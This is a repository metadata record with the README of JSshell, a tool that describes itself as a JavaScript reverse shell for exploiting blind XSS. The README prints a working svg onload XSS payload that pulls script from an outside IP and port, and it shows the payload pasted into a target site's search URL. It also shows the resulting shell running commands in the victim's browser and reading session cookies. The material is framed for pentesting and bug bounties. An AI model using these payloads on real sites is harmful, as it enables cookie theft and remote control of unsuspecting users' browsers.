{"id":16891197,"url":"https://github.com/shelld3v/jsshell","last_synced_at":"2025-04-04T15:10:14.986Z","repository":{"id":41435160,"uuid":"254319796","full_name":"shelld3v/JSshell","owner":"shelld3v","description":"JSshell - JavaScript reverse/remote shell","archived":false,"fork":false,"pushed_at":"2022-12-20T14:43:53.000Z","size":84,"stargazers_count":619,"open_issues_count":3,"forks_count":114,"subscribers_count":28,"default_branch":"master","last_synced_at":"2025-04-01T20:35:09.856Z","etag":null,"topics":["blindxss","bugbounty","hacking","javascript","js","pentest","python","python3","security","shell","xss","xss-exploitation"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/shelld3v.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-04-09T08:53:25.000Z","updated_at":"2025-03-23T10:09:31.000Z","dependencies_parsed_at":"2023-01-30T00:50:10.810Z","dependency_job_id":null,"html_url":"https://github.com/shelld3v/JSshell","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shelld3v%2FJSshell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shelld3v%2FJSshell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shelld3v%2FJSshell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shelld3v%2FJSshell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/shelld3v","download_url":"https://codeload.github.com/shelld3v/JSshell/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247198463,"owners_count":20900080,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["blindxss","bugbounty","hacking","javascript","js","pentest","python","python3","security","shell","xss","xss-exploitation"],"created_at":"2024-10-13T17:06:01.221Z","updated_at":"2025-04-04T15:10:14.970Z","avatar_url":"https://github.com/shelld3v.png","language":"Python","readme":"# JSshell - version 3.1\n\n![JSshell](https://user-images.githubusercontent.com/43073671/101387832-ec9f5380-38b6-11eb-9933-db5399cf0319.png)\n\n**JSshell** - a JavaScript reverse shell. This is used for executing JS code remotely, exploiting blind XSS, ...\n\nRequirements: Any OS + Python 2 or Python 3\n\n### New in JSshell version 3.1\nUpdated in the new version of JShell 3.1:\n\n- New JSshell command: `snippet` -\u003e allows to write a snippet of javascript code\n\n```sh\n\u003e\u003e\u003e snippet\nUse CTRL+D to finish the snippet\n\nfunction new() {\n    new = 'New update: Support javascript snippet =)';\n    confirm(new)\n}\n\nnew()\n\u003e\u003e\u003e \n```\n- Quiet mode (for professionals)\n- Added `\u003cbody\u003e` reverse shell payload\n- Fixed some bugs\n\n# Usage\n#### Generate JS reverse shell payloads:  `-g`\n#### Set the local port number for listening and generating payloads (Default: 4848):  `-p`\n#### Set the local source address for generating payloads (Default: auto-detect your IP address):  `-s`\n#### Set timeout for shell connection (if the user exits the session, the shell will be paused forever, so if your set the timeout, the shell will be closed after exceeds the timeout):  `-w`\n#### Execute a command after getting the shell:  `-c`\n\n#### Example usages:\n- `jsh.py`\n- `jsh.py -g`\n- `jsh.py -p 1234`\n- `jsh.py -s 48.586.1.23 -g`\n- `jsh.py -c \"alert(document.cookie)\" -w 10`\n\n#### An example for running JSshell:\nThis is a step-by-step example of how to use JSshell.\n\nFirst, we need to generate a reverse JS shell payload and set the shell timeout (e.g. 20 seconds):\n\n```\n~# whoami\nroot\n~# ls\nREADME.md   jsh.py\n~# python3 jsh.py -g -w 20\n    __\n  |(_  _ |_  _  |  |\n\\_|__)_\u003e | |(/_ |  |\n                      v1.0\n\nPayload:\n\u003csvg/onload=setInterval(function(){with(document)body.appendChild(createElement(\"script\")).src=\"//171.224.181.106:4848\"},999)\u003e\n\nListening on [any] 4848 for incoming JS shell ...\n```\n\nNow paste this payload to the website:\n\n`https://vulnwebs1te.com/b/search?q=\u003csvg/onload=setInterval(function(){with(document)body.appendChild(createElement(\"script\")).src=\"//171.224.181.106:4848\"},1248)\u003e`\n\nAccess the page and we will have the reverse JS shell:\n\n```\n    __\n  |(_  _ |_  _  |  |\n\\_|__)_\u003e | |(/_ |  |\n                      v1.0\n\nPayload:\n\u003csvg/onload=setInterval(function(){with(document)body.appendChild(createElement(\"script\")).src=\"//171.224.181.106:4848\"},999)\u003e\n\nListening on [any] 4848 for incoming JS shell ...\nGot JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848\n$ established\n$ the\n$ shell\n$\n$\n$ help\nJSshell using javascript code as shell commands. Also supports some commands:\nhelp                  This help\nexit, quit            Exit the JS shell\n$\n```\nLet execute some commands:\n\n```\n$ var test = 'controlled'\n$ confirm(test)\n$\n```\nAnd an alert will be popped up:  `controlled`\n\n```\n$ prompt(document.cookie)\n$\n```\nAnd the browser will print the user cookies:  `JSESSION=3bda8...`\n\n```\n$ exit\n~# whoami\nroot\n~# pwd\n/home/shelld3v\n~#\n```\n\nNow quited!\n\n\n# Author\nThis is created by [shelld3v](https://twitter.com/shells3c_)!\n\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fshelld3v%2Fjsshell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fshelld3v%2Fjsshell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fshelld3v%2Fjsshell/lists"}